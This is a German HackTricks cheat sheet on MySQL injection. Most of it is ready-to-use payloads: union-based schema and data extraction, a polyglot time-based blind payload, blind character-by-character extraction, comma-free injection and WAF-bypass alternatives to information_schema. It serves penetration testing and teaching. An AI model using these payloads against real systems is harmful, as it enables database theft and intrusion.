MySQL injection

Unterstütze HackTricks

​​RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.

Kommentare

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interessante Funktionen

Bestätigen Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Nützliche Funktionen

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Alle Injektionen

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Flow

Denken Sie daran, dass Sie in "modernen" Versionen von MySQL "information_schema.tables" durch "mysql.innodb_table_stats" ersetzen können (Dies könnte nützlich sein, um WAFs zu umgehen).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Nur 1 Wert

  • group_concat()

  • Limit X,1

Blind eins nach dem anderen

  • substr(version(),X,1)='r' oder substring(version(),X,1)=0x70 oder ascii(substr(version(),X,1))=112

  • mid(version(),X,1)='5'

Blind hinzufügen

  • LPAD(version(),1...länge(version()),'1')='asd'...

  • RPAD(version(),1...länge(version()),'1')='asd'...

  • SELECT RIGHT(version(),1...länge(version()))='asd'...

  • SELECT LEFT(version(),1...länge(version()))='asd'...

  • SELECT INSTR('foobarbar', 'fo...')=1

Anzahl der Spalten erkennen

Verwendung einer einfachen ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Lerne hier verschiedene Optionen, um eine Mysql-Injection auszunutzen, um eine SSRF zu erhalten.

WAF-Bypass-Tricks

Information_schema-Alternativen

Denke daran, dass du in "modernen" Versionen von MySQL information_schema.tables durch mysql.innodb_table_stats oder durch sys.x$schema_flattened_keys oder durch sys.schema_table_statistics ersetzen kannst.

MySQL-Injection ohne KOMMA

Wähle 2 Spalten aus, ohne ein Komma zu verwenden (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Abrufen von Werten ohne den Spaltennamen

Wenn Sie zu einem bestimmten Zeitpunkt den Namen der Tabelle kennen, aber die Namen der Spalten in der Tabelle nicht kennen, können Sie versuchen herauszufinden, wie viele Spalten vorhanden sind, indem Sie etwas wie Folgendes ausführen:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Angenommen, es gibt 2 Spalten (wobei die erste die ID ist) und die andere die Flag, können Sie versuchen, den Inhalt der Flag durch Ausprobieren von Zeichen für Zeichen zu bruteforcen:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Mehr Informationen unter https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

MySQL-Historie

Sie können andere Ausführungen innerhalb von MySQL sehen, indem Sie die Tabelle lesen: sys.x$statement_analysis

Versionsalternativen

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

Andere MYSQL-Injektionsleitfäden

Referenzen

​​​​RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.

Unterstütze HackTricks

Last updated